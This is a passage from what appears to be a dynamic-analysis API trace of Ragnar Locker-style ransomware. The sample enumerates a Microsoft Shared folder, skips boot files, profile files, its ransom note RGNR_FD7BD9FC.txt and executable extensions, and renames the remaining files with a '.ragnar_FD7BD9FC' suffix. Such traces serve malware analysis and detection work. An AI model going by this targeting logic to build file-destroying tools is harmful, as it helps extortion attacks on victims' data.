shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0053.494] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0053.494] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0053.494] lstrcpyW (in: lpString1=0x1eab62, lpString2="IpsMigrationPlugin.dll.mui" | out: lpString1="IpsMigrationPlugin.dll.mui") returned="IpsMigrationPlugin.dll.mui" [0053.494] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned=".mui" [0053.494] lstrcmpiW (lpString1="IpsMigrationPlugin.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0053.494] lstrcmpiW (lpString1="IpsMigrationPlugin.dll.mui", lpString2="autorun.inf") returned 1 [0053.494] lstrcmpiW (lpString1="IpsMigrationPlugin.dll.mui", lpString2="boot.ini") returned 1 [0053.494] lstrcmpiW (lpString1="IpsMigrationPlugin.dll.mui", lpString2="bootfont.bin") returned 1 [0053.494] lstrcmpiW (lpString1="IpsMigrationPlugin.dll.mui", lpString2="bootsect.bak") returned 1 [0053.494] lstrcmpiW (lpString1="IpsMigrationPlugin.dll.mui", lpString2="bootmgr") returned 1 [0053.494] lstrcmpiW (lpString1="IpsMigrationPlugin.dll.mui", lpString2="bootmgr.efi") returned 1 [0053.494] lstrcmpiW (lpString1="IpsMigrationPlugin.dll.mui", lpString2="bootmgfw.efi") returned 1 [0053.494] lstrcmpiW (lpString1="IpsMigrationPlugin.dll.mui", lpString2="desktop.ini") returned 1 [0053.494] lstrcmpiW (lpString1="IpsMigrationPlugin.dll.mui", lpString2="iconcache.db") returned 1 [0053.494] lstrcmpiW (lpString1="IpsMigrationPlugin.dll.mui", lpString2="ntldr") returned -1 [0053.495] lstrcmpiW (lpString1="IpsMigrationPlugin.dll.mui", lpString2="ntuser.dat") returned -1 [0053.495] lstrcmpiW (lpString1="IpsMigrationPlugin.dll.mui", lpString2="ntuser.dat.log") returned -1 [0053.495] lstrcmpiW (lpString1="IpsMigrationPlugin.dll.mui", lpString2="ntuser.ini") returned -1 [0053.495] lstrcmpiW (lpString1="IpsMigrationPlugin.dll.mui", lpString2="thumbs.db") returned -1 [0053.495] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0053.495] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0053.495] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0053.495] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0053.495] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0053.495] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0053.495] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0053.495] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui")) returned 0x20 [0053.495] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0053.495] CloseHandle (hObject=0xffffffff) returned 0 [0053.495] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" [0053.495] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui.ragnar_FD7BD9FC" [0053.495] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0053.495] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0053.495] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0053.495] lstrcpyW (in: lpString1=0x1eab62, lpString2="join.avi" | out: lpString1="join.avi") returned="join.avi" [0053.495] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned=".avi" [0053.495] lstrcmpiW (lpString1="join.avi", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0053.495] lstrcmpiW (lpString1="join.avi", lpString2="autorun.inf") returned 1 [0053.495] lstrcmpiW (lpString1="join.avi", lpString2="boot.ini") returned 1 [0053.496] lstrcmpiW (lpString1="join.avi", lpString2="bootfont.bin") returned 1 [0053.496] lstrcmpiW (lpString1="join.avi", lpString2="bootsect.bak") returned 1 [0053.496] lstrcmpiW (lpString1="join.avi", lpString2="bootmgr") returned 1 [0053.496] lstrcmpiW (lpString1="join.avi", lpString2="bootmgr.efi") returned 1 [0053.496] lstrcmpiW (lpString1="join.avi", lpString2="bootmgfw.efi") returned 1 [0053.496] lstrcmpiW (lpString1="join.avi", lpString2="desktop.ini") returned 1 [0053.496] lstrcmpiW (lpString1="join.avi", lpString2="iconcache.db") returned 1 [0053.496] lstrcmpiW (lpString1="join.avi", lpString2="ntldr") returned -1 [0053.496] lstrcmpiW (lpString1="join.avi", lpString2="ntuser.dat") returned -1 [0053.496] lstrcmpiW (lpString1="join.avi", lpString2="ntuser.dat.log") returned -1 [0053.496] lstrcmpiW (lpString1="join.avi", lpString2="ntuser.ini") returned -1 [0053.496] lstrcmpiW (lpString1="join.avi", lpString2="thumbs.db") returned -1 [0053.496] lstrcmpiW (lpString1=".avi", lpString2=".db") returned -1 [0053.496] lstrcmpiW (lpString1=".avi", lpString2=".sys") returned -1 [0053.496] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0053.496] lstrcmpiW (lpString1=".avi", lpString2=".lnk") returned -1 [0053.496] lstrcmpiW (lpString1=".avi", lpString2=".msi") returned -1 [0053.496] lstrcmpiW (lpString1=".avi", lpString2=".drv") returned -1 [0053.496] lstrcmpiW (lpString1=".avi", lpString2=".exe") returned -1 [0053.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0053.496] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0053.496] CloseHandle (hObject=0xffffffff) returned 0 [0053.496] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" [0053.496] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi.ragnar_FD7BD9FC" [0053.496] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0053.496] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0053.497] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0053.497] lstrcpyW (in: lpString1=0x1eab62, lpString2="micaut.dll.mui" | out: lpString1="micaut.dll.mui") returned="micaut.dll.mui" [0053.497] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned=".mui" [0053.497] lstrcmpiW (lpString1="micaut.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0053.497] lstrcmpiW (lpString1="micaut.dll.mui", lpString2="autorun.inf") returned 1 [0053.497] lstrcmpiW (lpString1="micaut.dll.mui", lpString2="boot.ini") returned 1 [0053.497] lstrcmpiW (lpString1="micaut.dll.mui", lpString2="bootfont.bin") returned 1 [0053.497] lstrcmpiW (lpString1="micaut.dll.mui", lpString2="bootsect.bak") returned 1 [0053.497] lstrcmpiW (lpString1="micaut.dll.mui", lpString2="bootmgr") returned 1 [0053.497] lstrcmpiW (lpString1="micaut.dll.mui", lpString2="bootmgr.efi") returned 1 [0053.497] lstrcmpiW (lpString1="micaut.dll.mui", lpString2="bootmgfw.efi") returned 1 [0053.497] lstrcmpiW (lpString1="micaut.dll.mui", lpString2="desktop.ini") returned 1 [0053.497] lstrcmpiW (lpString1="micaut.dll.mui", lpString2="iconcache.db") returned 1 [0053.497] lstrcmpiW (lpString1="micaut.dll.mui", lpString2="ntldr") returned -1 [0053.497] lstrcmpiW (lpString1="micaut.dll.mui", lpString2="ntuser.dat") returned -1 [0053.497] lstrcmpiW (lpString1="micaut.dll.mui", lpString2="ntuser.dat.log") returned -1 [0053.497] lstrcmpiW (lpString1="micaut.dll.mui", lpString2="ntuser.ini") returned -1 [0053.497] lstrcmpiW (lpString1="micaut.dll.mui", lpString2="thumbs.db") returned -1 [0053.497] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0053.497] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0053.497] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0053.497] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0053.497] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0053.497] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0053.497] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0053.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui")) returned 0x20 [0053.557] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0053.557] CloseHandle (hObject=0xffffffff) returned 0 [0053.557] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" [0053.557] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui.ragnar_FD7BD9FC" [0053.557] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0053.558] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0053.558] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0053.558] lstrcpyW (in: lpString1=0x1eab62, lpString2="mip.exe.mui" | out: lpString1="mip.exe.mui") returned="mip.exe.mui" [0053.558] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned=".mui" [0053.558] lstrcmpiW (lpString1="mip.exe.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0053.558] lstrcmpiW (lpString1="mip.exe.mui", lpString2="autorun.inf") returned 1 [0053.558] lstrcmpiW (lpString1="mip.exe.mui", lpString2="boot.ini") returned 1 [0053.558] lstrcmpiW (lpString1="mip.exe.mui", lpString2="bootfont.bin") returned 1 [0053.558] lstrcmpiW (lpString1="mip.exe.mui", lpString2="bootsect.bak") returned 1 [0053.558] lstrcmpiW (lpString1="mip.exe.mui", lpString2="bootmgr") returned 1 [0053.558] lstrcmpiW (lpString1="mip.exe.mui", lpString2="bootmgr.efi") returned 1 [0053.558] lstrcmpiW (lpString1="mip.exe.mui", lpString2="bootmgfw.efi") returned 1 [0053.558] lstrcmpiW (lpString1="mip.exe.mui", lpString2="desktop.ini") returned 1 [0053.558] lstrcmpiW (lpString1="mip.exe.mui", lpString2="iconcache.db") returned 1 [0053.558] lstrcmpiW (lpString1="mip.exe.mui", lpString2="ntldr") returned -1 [0053.558] lstrcmpiW (lpString1="mip.exe.mui", lpString2="ntuser.dat") returned -1 [0053.558] lstrcmpiW (lpString1="mip.exe.mui", lpString2="ntuser.dat.log") returned -1 [0053.558] lstrcmpiW (lpString1="mip.exe.mui", lpString2="ntuser.ini") returned -1 [0053.558] lstrcmpiW (lpString1="mip.exe.mui", lpString2="thumbs.db") returned -1 [0053.558] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0053.558] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0053.558] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0053.558] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0053.558] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0053.558] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0053.558] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0053.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui")) returned 0x20 [0053.567] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0053.567] CloseHandle (hObject=0xffffffff) returned 0 [0053.567] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" [0053.567] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui.ragnar_FD7BD9FC" [0053.567] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0053.567] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0053.568] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0053.568] lstrcpyW (in: lpString1=0x1eab62, lpString2="mshwLatin.dll.mui" | out: lpString1="mshwLatin.dll.mui") returned="mshwLatin.dll.mui" [0053.568] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned=".mui" [0053.568] lstrcmpiW (lpString1="mshwLatin.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0053.568] lstrcmpiW (lpString1="mshwLatin.dll.mui", lpString2="autorun.inf") returned 1 [0053.568] lstrcmpiW (lpString1="mshwLatin.dll.mui", lpString2="boot.ini") returned 1 [0053.568] lstrcmpiW (lpString1="mshwLatin.dll.mui", lpString2="bootfont.bin") returned 1 [0053.568] lstrcmpiW (lpString1="mshwLatin.dll.mui", lpString2="bootsect.bak") returned 1 [0053.568] lstrcmpiW (lpString1="mshwLatin.dll.mui", lpString2="bootmgr") returned 1 [0053.568] lstrcmpiW (lpString1="mshwLatin.dll.mui", lpString2="bootmgr.efi") returned 1 [0053.568] lstrcmpiW (lpString1="mshwLatin.dll.mui", lpString2="bootmgfw.efi") returned 1 [0053.568] lstrcmpiW (lpString1="mshwLatin.dll.mui", lpString2="desktop.ini") returned 1 [0053.568] lstrcmpiW (lpString1="mshwLatin.dll.mui", lpString2="iconcache.db") returned 1 [0053.568] lstrcmpiW (lpString1="mshwLatin.dll.mui", lpString2="ntldr") returned -1 [0053.568] lstrcmpiW (lpString1="mshwLatin.dll.mui", lpString2="ntuser.dat") returned -1 [0053.568] lstrcmpiW (lpString1="mshwLatin.dll.mui", lpString2="ntuser.dat.log") returned -1 [0053.568] lstrcmpiW (lpString1="mshwLatin.dll.mui", lpString2="ntuser.ini") returned -1 [0053.568] lstrcmpiW (lpString1="mshwLatin.dll.mui", lpString2="thumbs.db") returned -1 [0053.568] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0053.568] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0053.568] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0053.568] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0053.568] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0053.568] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0053.568] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0053.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui")) returned 0x20 [0053.588] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0053.588] CloseHandle (hObject=0xffffffff) returned 0 [0053.589] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" [0053.589] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui.ragnar_FD7BD9FC" [0053.589] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0053.589] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71d8ffe0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x71d8ffe0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0053.589] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0053.589] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0053.589] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\RGNR_FD7BD9FC.txt") returned=".txt" [0053.589] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0053.589] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, 